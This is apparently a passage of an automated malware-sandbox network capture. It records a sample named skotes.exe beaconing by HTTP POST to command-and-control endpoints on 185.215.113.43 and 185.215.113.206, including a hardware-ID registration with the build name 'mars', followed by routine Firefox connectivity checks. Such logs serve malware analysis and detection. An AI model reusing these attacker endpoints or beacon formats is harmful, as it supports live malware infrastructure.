Nov 24, 2024 10:25:49.080117941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:49.080148935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:49.080166101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:49.080180883 CET	1236	IN	Data Raw: 33 c8 71 59 6c 25 51 df 29 43 e7 56 1c 36 8a 2e 61 25 4e bf c9 52 c0 de 29 43 e7 c8 1a 3a 8a de 5c 25 74 5d 3a f6 0a 67 0b 7a 6b f6 fc 4b ec 7c 1b 3e d5 df b9 25 04 67 07 14 6e af c1 37 21 ac 24 e0 67 5e 7c 4f e8 36 3c 5c 72 34 5b 40 0b e3 8a 22 Data Ascii: 3qYl%Q)CV6.a%NR)C:\%t]:gzkK\|>%gn7!$g^\|O6<\r4[@"J}6zaCrw0]k@p7,[I`l}X+qfah1%Frj%<k(k{M)8;o@2rx~p\|s?4*Dt/$W5!ak$L 5!_&i_aq)"(xSoye'Dm6
Nov 24, 2024 10:25:49.080198050 CET	1236	IN	Data Raw: f2 38 54 7a 17 4a b5 67 b3 6a 75 90 92 6b ef 3a c3 74 9f 70 ab e4 99 aa 71 73 76 4f 34 02 a7 00 23 18 5c ef 27 90 b1 08 2c a6 37 8f 45 97 8e b1 ba c4 a8 25 62 c7 8f af 7a 23 fd 97 34 6c fd 14 79 1b 63 a5 34 af 9d eb d8 66 7f 2c 52 a6 a8 5d 68 1b Data Ascii: 8TzJgjuk:tpqsvO4#\',7E%bz#4lyc4f,R]h/r?~Qx<ava+@DSpEud{&J}-hoBx2Uwm~ey$XJ7saLb&b`!<:qS*upc
Nov 24, 2024 10:25:49.200370073 CET	1236	IN	Data Raw: 6a ac 7c f5 ac 4c 22 8d 70 8c 82 7a 5f 2c c7 5b 4b db 14 c1 5a 28 cd 77 6d 95 85 ef 78 6c 8b bf 30 93 b5 68 8e 70 3a 1c 44 79 99 84 61 e5 e6 1a 6f 42 d2 3e 85 7f b4 27 42 60 a6 24 b4 fd fa 85 4c ef 31 fd 8c d9 2f 78 ac b0 9c 3d 6c 84 06 73 86 70 Data Ascii: j\|L"pz_,[KZ(wmxl0hp:DyaoB>'B`$L1/x=lspdG]kr<I8Am`QyfJ)I;)2kCs>`lYQXI+jgmS%&T[u(Y\8%/35^JmH!gVmo7e1';L`SXF=_Sp-e1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50167	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:47.703442097 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:25:49.102988005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50168	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:50.895983934 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:25:52.286988020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50169	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:53.936249971 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:25:55.315864086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50176	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:57.156095028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:25:58.525590897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	50177	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:57.838630915 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 10:25:59.170643091 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 10:25:59.180084944 CET	411	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIIEGIDHCBFIDHJDGDB Host: 185.215.113.206 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 46 31 37 34 37 34 36 37 41 42 36 39 31 36 31 30 39 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 2d 2d 0d 0a Data Ascii: ------BGIIEGIDHCBFIDHJDGDBContent-Disposition: form-data; name="hwid"0EF1747467AB69161091------BGIIEGIDHCBFIDHJDGDBContent-Disposition: form-data; name="build"mars------BGIIEGIDHCBFIDHJDGDB--
Nov 24, 2024 10:25:59.627444983 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50179	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:00.166012049 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:26:01.555206060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50186	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:03.301790953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:26:04.697594881 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50194	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:06.427273035 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:26:07.739959955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50199	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:09.773699045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:26:11.186252117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	50205	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:11.138819933 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:12.274512053 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56880 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:12.365875006 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:12.690026045 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56880 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:12.805541992 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:13.136601925 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56880 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:13.449587107 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:13.774068117 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56881 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:14.097136021 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:14.421322107 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56882 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:14.720292091 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:15.044426918 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56882 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:15.502620935 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:15.834999084 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56883 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:23.621643066 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:23.945799112 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56891 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:27.231527090 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:27.555459976 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56895 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:34.847057104 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:35.171283960 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56903 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:42.177882910 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:42.508568048 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56910 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:43.644407988 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
